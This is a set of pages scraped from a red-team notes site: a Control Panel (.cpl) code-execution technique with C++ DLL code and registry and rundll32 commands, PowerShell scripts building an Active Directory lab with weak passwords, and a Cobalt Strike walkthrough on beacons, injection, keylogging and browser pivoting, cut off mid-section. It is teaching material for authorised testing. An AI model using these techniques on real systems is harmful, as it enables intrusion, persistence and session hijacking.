[https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET\_InvisiMole.pdf](https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf) [PreviousExecuting Code as a Control Panel Item through an Exported Cplapplet Function](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function) [NextCMSTP](https://www.ired.team/offensive-security/code-execution/t1191-cmstp-code-execution) Last updated 6 years ago * [Execution](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#execution) * [Detection](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#detection) * [References](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins#references) Copy reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs" /v spotless /d "C:\labs\cplAddin\cplAddin\x64\Release\cplAddin2.dll" /f --- # Executing Code as a Control Panel Item through an Exported Cplapplet Function | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function.md) . This is a quick note that shows how to execute code in a .cpl file, which is a regular DLL file representing a Control Panel item. The .cpl file needs to export a function `CplApplet` in order to be recognized by Windows as a Control Panel item. Once the DLL is compiled and renamed to .CPL, it can simply be double clicked and executed like a regular Windows .exe file. [](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#code) Code ------------------------------------------------------------------------------------------------------------------------------------------------------ item.cpl Copy // dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" #include //Cplapplet extern "C" __declspec(dllexport) LONG Cplapplet( HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2 ) { MessageBoxA(NULL, "Hey there, I am now your control panel item you know.", "Control Panel", 0); return 1; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { Cplapplet(NULL, NULL, NULL, NULL); } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Once the DLL is compiled, we can see our exported function `Cplapplet`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LrkA_xbW26oB0PzwAuB%252F-LrkCfYWSlA0SE-F9Cbs%252Fimage.png%3Falt%3Dmedia%26token%3D16ab16cd-aa4d-40a0-a744-d2b983cbac77&width=768&dpr=3&quality=100&sign=e29df42c&sv=2) [](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#demo) Demo ------------------------------------------------------------------------------------------------------------------------------------------------------ Below shows that double-clicking the .cpl item is enough to launch it: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LrkA_xbW26oB0PzwAuB%252F-LrkBJ0N_SxV9o7zZMKE%252Fcplexecution.gif%3Falt%3Dmedia%26token%3Dd28e3a80-c691-4311-ace0-81ff5a13fe41&width=768&dpr=3&quality=100&sign=9f98a82b&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LrkEDGxWjJNyLsV12mn%252F-LrkGKjLUP72YIdIcUAE%252Fimage.png%3Falt%3Dmedia%26token%3Daa6df764-364b-4265-a1a1-2885c0bf9dc6&width=768&dpr=3&quality=100&sign=385a02a5&sv=2) CPL file can also be launched with `control.exe ` like so: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LrkDLelVcbUGmZWJW7m%252F-LrkDrDA4g0FyE6-g1YP%252Fimage.png%3Falt%3Dmedia%26token%3D9b13d22f-be66-4c3a-8ec4-d1bec558d522&width=768&dpr=3&quality=100&sign=aef1ffa8&sv=2) or with rundll32: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LrkEDGxWjJNyLsV12mn%252F-LrkF4kFelWcedTuQ11R%252Fimage.png%3Falt%3Dmedia%26token%3D763772ea-57ba-47d7-8653-ad3e26614554&width=768&dpr=3&quality=100&sign=da3d579b&sv=2) [](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#references) References ------------------------------------------------------------------------------------------------------------------------------------------------------------------ [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fwww.gstatic.com%2Fcgc%2Fsuper_cloud_gradient.png&width=20&dpr=3&quality=100&sign=18d6b17d&sv=2)Mandiant Cybersecurity ConsultingGoogle Cloud](https://www.fireeye.com/blog/threat-research/2019/10/staying-hidden-on-the-endpoint-evading-detection-with-shellcode.html) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=edc46b53&sv=2)DueDLLigence/DueDLLigence/DueDLLigence.cs at master · mandiant/DueDLLigenceGitHub](https://github.com/fireeye/DueDLLigence/blob/master/DueDLLigence/DueDLLigence.cs) [![Logo](https://www.ired.team/~gitbook/image?url=https%3A%2F%2Flearn.microsoft.com%2Ffavicon.ico&width=20&dpr=3&quality=100&sign=d8acf9f&sv=2)Using CPLApplet - Win32 appsMicrosoftLearn](https://docs.microsoft.com/en-us/windows/win32/shell/using-cplapplet) [PreviousControl Panel Item](https://www.ired.team/offensive-security/code-execution/t1196-control-panel-item-code-execution) [NextCode Execution through Control Panel Add-ins](https://www.ired.team/offensive-security/code-execution/code-execution-through-control-panel-add-ins) Last updated 6 years ago * [Code](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#code) * [Demo](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#demo) * [References](https://www.ired.team/offensive-security/code-execution/executing-code-in-control-panel-item-through-an-exported-cplapplet-function#references) attacker@target Copy rundll32 shell32, Control_RunDLL \\VBOXSVR\Experiments\cpldoubleclick \cpldoubleclick\Debug\cpldoubleclick.cpl --- # Active Directory Lab with Hyper-V and PowerShell | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell.md) . Below are some notes with a couple of simple Powershell scripts that I use to: * Promote a computer to Domain Controller * Create an Active Directory (AD) domain `offense.local` * Join computer to `offense.local` domain * Create users in `offense.local` domain The scripts are not intended to fully automate building of the Active Directory lab, rather they serve as cheatsheets that suit most of my needs most of the time. I use Hyper-V to run my virtual machines (VM) which I installed manually: * WS01 - Windows 10 * DC01 - Windows Server 2019 ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MU2iqWfnGK_qtT6uR71%252F-MU2qGI7kGe4KJHa_hNW%252Fimage.png%3Falt%3Dmedia%26token%3D53123cc8-594e-4b6d-ad24-7f364853c8bb&width=768&dpr=3&quality=100&sign=878a29e8&sv=2) [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#promote-computer-to-domain-controller) Promote Computer to Domain Controller -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below script establishes a Powershell Remoting session to the `DC01` VM using credentials `administrator:123456` (I set that password on `DC01` manually before running this script) and does the following: * Congifures the IP/DNS addresses - Domain Controller `DC01` will have a static IP `10.0.0.6`; * Installs AD services and management tools; * Creates a domain `offense.local`. You may need to change the passwords depending on your password policies. ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MU2iqWfnGK_qtT6uR71%252F-MU2s1Mn7Sh9rtFBGYuZ%252Fdomain-created-dc-installed.gif%3Falt%3Dmedia%26token%3D72c39d87-2f09-496c-b492-64f9057fb1d6&width=768&dpr=3&quality=100&sign=e89b26ac&sv=2) Output of Promote-DC.ps1 [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#join-computer-to-domain) Join Computer to Domain ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below script establishes a Powershell Remoting session to the `WS01` VM using credentials `mantvydas:123456` (I set that password on `WS01` manually before running this script) and does the following: * Configures IP/DNS settings - the workstation `WS01` will have a static IP `10.0.0.7` and a DNS pointing to `10.0.0.6`, which is our `DC01`; * Adds computer to the domain. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#create-domain-users) Create Domain Users -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Below script establishes a Powershell Remoting session to the `DC01` VM and does the following: * Creates some domain users * Sets their passwords to `123456` Before running this script, the password policy needs to be manually updated on `DC01`: * Minimum password length: `0` * Password must meet complexity requirements: `disabled` ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-MU3E-15j_sVaHbhu6nb%252F-MU3OGP5qlxDDQpdbD3f%252Fimage.png%3Falt%3Dmedia%26token%3D08ff93d1-f745-489e-9f1a-bd0bc41112f1&width=768&dpr=3&quality=100&sign=e32ffcd5&sv=2) Don't forget to run `gpupdate.exe` on the `DC01` for the new password policy to take affect. This step is mandatory before running `Create-Users.ps1` script, otherwise the user passwords will not be changed. [](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#setting-up-kali-in-enhanced-session-mode) Setting up Kali in Enhanced Session Mode -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Execute the below in kali: Execute the below on the host OS with Hyper V, that is hosting your kali VM: [PreviousActive Directory Password Spraying](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) [NextADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/adcs-+-petitpotam-ntlm-relay-obtaining-krbtgt-hash-with-domain-controller-machine-certificate) Last updated 5 years ago * [Promote Computer to Domain Controller](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#promote-computer-to-domain-controller) * [Join Computer to Domain](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#join-computer-to-domain) * [Create Domain Users](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#create-domain-users) * [Setting up Kali in Enhanced Session Mode](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-lab-with-hyper-v-and-powershell#setting-up-kali-in-enhanced-session-mode) Promote-DC.ps1 Copy $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("administrator", $password) $session = New-PSSession -Vmname dc01 -Credential $credential -Verbose $code = { $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("administrator", $password) netsh int ip set address "ethernet" static 10.0.0.6 255.255.255.0 10.0.0.6 1 netsh int ip set dns "ethernet" static 10.0.0.6 primary $domainName = "offense" $domain = "$domainName.local" Write-Host "Installing management tools" Import-Module ServerManager Add-WindowsFeature RSAT-AD-PowerShell,RSAT-AD-AdminCenter Write-Host "Deploying Active Directory Domain..." Install-WindowsFeature AD-domain-services, DNS -IncludeAllSubFeature -IncludeManagementTools -Restart Import-Module ADDSDeployment Install-ADDSForest ` -SafeModeAdministratorPassword $password ` -CreateDnsDelegation:$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "7" ` -DomainName $domain ` -DomainNetbiosName $domainName ` -ForestMode "7" ` -InstallDns:$true ` -LogPath "C:\Windows\NTDS" ` -NoRebootOnCompletion:$true ` -SysvolPath "C:\Windows\SYSVOL" ` -Force:$true Restart-Computer -Force -Verbose } Invoke-Command -Session $session -ScriptBlock $code Join-Member.ps1 Copy $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("mantvydas", $password) $session = New-PSSession -Vmname ws01 -Credential $credential -Verbose $code = { netsh int ip set address "ethernet" static 10.0.0.7 255.255.255.0 10.0.0.6 1 netsh int ip set dns "ethernet" static 10.0.0.6 primary $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("administrator", $password) Add-computer -computername ws01 -domain offense.local -domaincredential $credential -Verbose -Restart } Invoke-Command -Session $session -ScriptBlock $code Create-Users.ps1 Copy $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password) $session = New-PSSession -Vmname dc01 -Credential $credential -Verbose $code = { $plainPassword = "123456" $password = $plainPassword | ConvertTo-SecureString -asPlainText -Force $credential = New-Object System.Management.Automation.PSCredential("offense\administrator", $password) # Create users "spotless", "sandy", "bob" | % { New-ADUser $_ } # Reset users' passwords Get-ADUser -Filter * -Properties samaccountname | select -exp samaccountname | ? {$_ -notmatch "krb|guest"} | ForEach-Object { Write-host Changing password for $_ to $plainPassword; net user $_ $plainPassword | out-null } } Invoke-Command -Session $session -ScriptBlock $code Copy sudo git clone https://github.com/mimura1133/linux-vm-tools /opt/linux-vm-tools sudo chmod 0755 /opt/linux-vm-tools/kali/2020.x/install.sh sudo /opt/linux-vm-tools/kali/2020.x/install.sh sudo reboot -f Copy Set-VM "KALI02" -EnhancedSessionTransportType HVSocket --- # Cobalt Strike 101 | Red Team Notes For the complete documentation index, see [llms.txt](https://www.ired.team/llms.txt) . This page is also available as [Markdown](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands.md) . This lab is for exploring the advanced penetration testing / post-exploitation tool Cobalt Strike. [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#definitions) Definitions --------------------------------------------------------------------------------------------------------------------------------------------------------- * Listener - a service running on the attacker's C2 server that is listening for beacon callbacks * Beacon - a malicious agent / implant on a compromised system that calls back to the attacker controlled system and checks for any new commands that should be executed on the compromised system * Team server - Cobalt Strike's server component. Team server is where listeners for beacons are configured and stood up. [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#getting-started) Getting Started ----------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#team-server) Team Server attacker@kali Copy # the syntax is ./teamserver <~killdate> <~profile> # ~ optional for now root@/opt/cobaltstrike# ./teamserver 10.0.0.5 password ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV_I9pw2guKcDHOkKPn%252F-LV_LKn33__1Whr2-emi%252FScreenshot%2520from%25202019-01-06%252022-47-10.png%3Falt%3Dmedia%26token%3D001a9708-ada7-43bb-ae28-485dcf5391a1&width=768&dpr=3&quality=100&sign=54a00170&sv=2) Note that in real life red team engagements, you would put the team servers behind redirectors to add resilience to your attacking infrastructure. See [Red Team Infrastructure](https://www.ired.team/offensive-security/red-team-infrastructure) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#cobalt-strike-client) Cobalt Strike Client Enter the following: * host - team server IP or DNS name * user - anything you like - it's just a nickname * password - your team server password ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV_I9pw2guKcDHOkKPn%252F-LV_MN4fHOQ2jl-VTud-%252FScreenshot%2520from%25202019-01-06%252022-51-40.png%3Falt%3Dmedia%26token%3De0824687-6401-48a8-bdb6-b131e1fa8287&width=768&dpr=3&quality=100&sign=cb7dc452&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#demo) Demo All of the above steps are shown below in one animated gif: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LV_N6Ag_cdxwAPThqY1%252F-LV_NZxyuqDTerCXZOkv%252FPeek%25202019-01-06%252022-56.gif%3Falt%3Dmedia%26token%3D65297051-1517-4e68-93a6-78c102ebf947&width=768&dpr=3&quality=100&sign=49f7f73f&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#setting-up-listener) Setting Up Listener ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Give your listener a descriptive name and a port number the team server should bind to and listen on: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdSx13-IuwDIBpOeNw%252F-LVdTdup2niEPXR2Kvxw%252FPeek%25202019-01-07%252018-01.gif%3Falt%3Dmedia%26token%3Dd0929c9c-32b7-4c21-bd39-12686bf5676a&width=768&dpr=3&quality=100&sign=488b2b59&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#generating-a-stageless-payload) Generating a Stageless Payload ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Generate a stageless (self-contained exe) beacon - choose the listener your payload will connect back to and payload architecture and you are done: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdSx13-IuwDIBpOeNw%252F-LVdUCalwVOHCQrVXUM2%252FPeek%25202019-01-07%252018-03.gif%3Falt%3Dmedia%26token%3Dc46868a8-e0b8-4712-a1ac-f15657304d4f&width=768&dpr=3&quality=100&sign=44c59fe4&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#receiving-first-call-back) Receiving First Call Back ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- On the left is a victim machine, executing the previously generated beacon - and on the left is a cobalt strike client connected to the teamserver catching the beacon callback: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdUPAgnZ0HsUytfvLF%252F-LVdWm4zqWSU8tlccTXa%252FPeek%25202019-01-07%252018-15.gif%3Falt%3Dmedia%26token%3D096b5cf5-8965-4760-a0d3-313f83aa3613&width=768&dpr=3&quality=100&sign=f9eaf250&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#interacting-with-beacon) Interacting with Beacon --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Right click the beacon and select interact. Note the new tab opening at the bottom of the page that allows an attacker issuing commdands to the beacon: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdUPAgnZ0HsUytfvLF%252F-LVdYPL2EWl_kDZgohYE%252FScreenshot%2520from%25202019-01-07%252018-22-38.png%3Falt%3Dmedia%26token%3De9d41778-aecd-463a-971c-3c67897679b4&width=768&dpr=3&quality=100&sign=92786e80&sv=2) [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#interesting-commands-and-features) Interesting Commands & Features --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#argue) Argue Argue command allows the attacker to spoof commandline arguments of the process being launched. The below spoofs calc command line parameters: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdjwLukX9nZoCi21O8%252F-LVdk8zCI7Za7zTxLzrG%252FScreenshot%2520from%25202019-01-07%252019-18-23.png%3Falt%3Dmedia%26token%3Da8dd6e72-3c9b-429e-bf62-744f98bf765e&width=768&dpr=3&quality=100&sign=b331d0cf&sv=2) Note the differences in commandline parameters captured in sysmon vs procexp: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdYo9wTGLrwFR9Pr2W%252F-LVdj_Ki8_L-34wNhOpF%252FScreenshot%2520from%25202019-01-07%252019-09-47.png%3Falt%3Dmedia%26token%3D0cf00abc-7f46-43d4-a0bd-12313e08507e&width=768&dpr=3&quality=100&sign=6b413060&sv=2) Argument spoofing is done via manipulating memory structures in Process Environment Block which I have some notes about: [Masquerading Processes in Userland via \_PEB](https://www.ired.team/offensive-security/defense-evasion/masquerading-processes-in-userland-through-_peb) [Exploring Process Environment Block](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/exploring-process-environment-block) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#inject) Inject Inject is very similar to metasploit's `migrate` function and allows an attacker to duplicate their beacon into another process on the victim system: Note how after injecting the beacon to PID 776, another session is spawned: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdvZd5qH8L-aNwMTY9%252F-LVdxRlTo3-eQwGHPUTO%252FPeek%25202019-01-07%252020-16.gif%3Falt%3Dmedia%26token%3D4ca41a85-e57a-4318-8cfe-536515f0169e&width=768&dpr=3&quality=100&sign=981cb71f&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#keylogger) Keylogger ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdvZd5qH8L-aNwMTY9%252F-LVe-tcmn4MPADKtcpEu%252FScreenshot%2520from%25202019-01-07%252020-31-30.png%3Falt%3Dmedia%26token%3D764fd2fe-4cde-4d83-8b9f-e055b60d3648&width=768&dpr=3&quality=100&sign=44f54755&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#screenshot) Screenshot ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVdvZd5qH8L-aNwMTY9%252F-LVe0RXTjankOgwcZ5WW%252FScreenshot%2520from%25202019-01-07%252020-33-51.png%3Falt%3Dmedia%26token%3D58961ee3-d3ed-4b09-ab3f-bcd5872d88a8&width=768&dpr=3&quality=100&sign=2e421f19&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#runu) Runu Runu allows us launching a new process from a specified parent process: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe0gYyisQOmDQ7e7ru%252F-LVe1f1GeMMhEpJQFR1S%252FScreenshot%2520from%25202019-01-07%252020-39-20.png%3Falt%3Dmedia%26token%3D33cdf218-207e-420a-a641-9bef804a01f6&width=768&dpr=3&quality=100&sign=d9a12326&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#psinject) Psinject This function allows an attacker executing powershell scripts from under any process on the victim system. Note that PID 2872 is the calc.exe process seen in the above screenshot related to `runu`: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe0gYyisQOmDQ7e7ru%252F-LVe2vmq3MBcixP1dBQQ%252FScreenshot%2520from%25202019-01-07%252020-44-30.png%3Falt%3Dmedia%26token%3D54f61ebd-d9cd-4cd5-8422-378db0a5339c&width=768&dpr=3&quality=100&sign=2f779604&sv=2) Highlighted in green are new handles that are opened in the target process when powershell script is being injected: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe0gYyisQOmDQ7e7ru%252F-LVe4dVKfHxW5XSyN59Q%252FScreenshot%2520from%25202019-01-07%252020-52-16.png%3Falt%3Dmedia%26token%3D53062b61-fbfc-4269-967d-02c8d589ee11&width=768&dpr=3&quality=100&sign=9949c1c1&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#spawnu) Spawnu Spawn a session with powershell payload from a given parent PID: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe0gYyisQOmDQ7e7ru%252F-LVe5p_J09jqfvzBd2uF%252FScreenshot%2520from%25202019-01-07%252020-57-30.png%3Falt%3Dmedia%26token%3D13ac6e66-bf82-40e1-b49a-84b454c4c8d2&width=768&dpr=3&quality=100&sign=f7159471&sv=2) ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe0gYyisQOmDQ7e7ru%252F-LVe5rMtDhif4p33LJEi%252FScreenshot%2520from%25202019-01-07%252020-57-25.png%3Falt%3Dmedia%26token%3D68a34fae-9bfe-49e4-89e0-b50e05573c68&width=768&dpr=3&quality=100&sign=84903e88&sv=2) ### [](https://www.ired.team/offensive-security/red-team-infrastructure/cobalt-strike-101-installation-and-interesting-commands#browser-pivoting) Browser Pivoting This feature enables an attacker riding on compromised user's browsing sessions. The way this attack works is best explained with an example: * Victim log's in to some web application using Internet Explorer. * Attacker/operator creates a browser pivot by issuing a `browserpivot` command * The beacon creates a proxy server on the victim system (in Internet Explorer process to be more precise) by binding and listening to a port, say 6605 * Team server binds and starts listening to a port, say 33912 * Attacker can now use their teamserver:33912 as a web proxy. All the traffic that goes through this proxy will be forwarded/traverse the proxy opened on the victim system via the Internet Explorer process (port 6605). Since Internet Explorer relies on WinINet library for managing web requests and authentication, attacker's web requests will be reauthenticated allowing the attacker to view same applications the victim has active sessions to without being asked to login. Browser pivotting in cobalt strike: Note how the iexplore.exe opened up port 6605 for listening as mentioned earlier: ![](https://www.ired.team/~gitbook/image?url=https%3A%2F%2F386337598-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-LFEMnER3fywgFHoroYn%252F-LVe7nLVoH8BOhlPzZg6%252F-LVeBuMZs1FPDOHJtS04%252FScreenshot%2520from%25202019-01-07%252021-23-50.png%3Falt%3Dmedia%26token%3D8dbe47f8-f620-47a3-9a31-cee642816bc9&width=768&dpr=3&quality=100&sign=d47e2c82&sv=2) The below illustrates the attack visually. On the left - a victim system logged to some application and on the right - attacker id trying to access the same application and gets presented with a login screen since they are not authenticated: 